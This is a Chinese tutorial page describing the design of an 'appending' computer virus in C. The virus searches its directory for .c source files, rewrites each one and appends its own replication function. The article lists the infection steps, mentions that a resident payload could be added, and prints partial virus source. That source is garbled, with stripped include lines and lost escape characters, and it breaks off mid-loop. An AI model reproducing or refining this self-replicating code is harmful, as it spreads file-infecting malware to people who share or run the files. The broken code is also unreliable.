当前位置:  编程技术>c/c++/嵌入式

c病毒程序原理分析(防范病毒 c语言小病毒示例)

    来源: 互联网  发布时间:2014-10-23

    本文导语:  病毒的特点: 病毒的最大特点就是自我复制,从病毒的分类来说有很多种,这里我们将介绍最流行的附加式病毒,它通过对正常的文件进行改写,增加来实现其自我复制的目的。从程序的角度来说,我们要做的事情有两件: 1...

病毒的特点:

病毒的最大特点就是自我复制,从病毒的分类来说有很多种,这里我们将介绍最流行的附加式
病毒,它通过对正常的文件进行改写,增加来实现其自我复制的目的。
从程序的角度来说,我们要做的事情有两件:

1,让程序能够将自己在不影响其它程序本身工作的情况下复制给其它程序,
使它具备继续复制的能力。

2,在一定条件下使其产生某种发作效果。
其实第一件事情实际上可以看成对文件进行复制,把病毒源文件的功能函数全部放到被感染
文件的最后,同时在被感染文件中调用这个函数

下面给出c语言的实现过程:
1,主程序调用病毒功能函数
2,病毒功能函数读取查找同目录下所有c文件;
3,找到一个(被感染c文件),打开它,并且将此文件全部读取到数组变量;
4,重新创建一个同名文件(被感染c文件)
5,数组变量写回这个被感染c文件,同时将病毒源文件所需要的头文件,病毒功能函数
调用语句写入;
6,打开病毒源文件,将病毒功能函数全部写到被感染c文件的最后;

这样一个简单的c语言伪病毒virus.c就完成了
运行程序后其内容变化另保存为after_virus.c
此时,如果我们将1.c文件用A盘复制到其他机器或者Email给别人,结果
他们一运行又感染了他们保存1.c文件目录下所有c文件
对于第二件事情-------“发作效果”,这里只用printf语句警告了一下,当然你
完全可以写一个TSR驻留函数
其实,这个程序勉强可以叫做病毒
根本不算是真正的病毒,好了就说这么多,

代码如下:

代码如下:
#include
#include
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("nI have a virus. Writen by PuBinn");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i>=50)
{
fclose(in);
goto next;
}
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#includen",out);
fputs("#includen",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;j

    
 
 

您可能感兴趣的文章:

 
本站(WWW.)旨在分享和传播互联网科技相关的资讯和技术,将尽最大努力为读者提供更好的信息聚合和浏览方式。
本站(WWW.)站内文章除注明原创外,均为转载、整理或搜集自网络。欢迎任何形式的转载,转载请注明出处。












  • 相关文章推荐
  • 病毒:我的红旗linux安装就有病毒,还IEM版呢。怎么办?请教大侠.
  • 查杀病毒!!!
  • 病毒实现计算机定时开机的原理是什么?
  • 邮件反病毒和反垃圾网关 SAGATOR
  • Linux下的病毒
  • 操作系统和反病毒!
  • 邮件防病毒系统 MIMEDefang
  • linux会感染病毒吗?有哪种杀毒软件?
  • SAP的病毒扫描 ClamSAP
  • winxp后装redflag就有病毒?50分相送
  • 反病毒工具 ClamFS
  • 反病毒软件 ClamAV/SOSDG
  • 邮件反病毒统计代理 DSPAM
  • 防病毒的HTTP代理服务器 HTTP Anti Virus Proxy
  • Squid防病毒工具 SquidClamAv
  • 如何关掉病毒监控?
  • 我的电脑好象感染病毒了,多了很多名字是folder.htt的文件,请问怎么办?
  • 反病毒SMTP代理 SPSmtpGate
  • 有没有linux操作系统下的病毒防火墙?
  • 那里有反病毒的开源项目?




  • 特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

    ©2012-2021,,E-mail:www_#163.com(请将#改为@)

    浙ICP备11055608号-3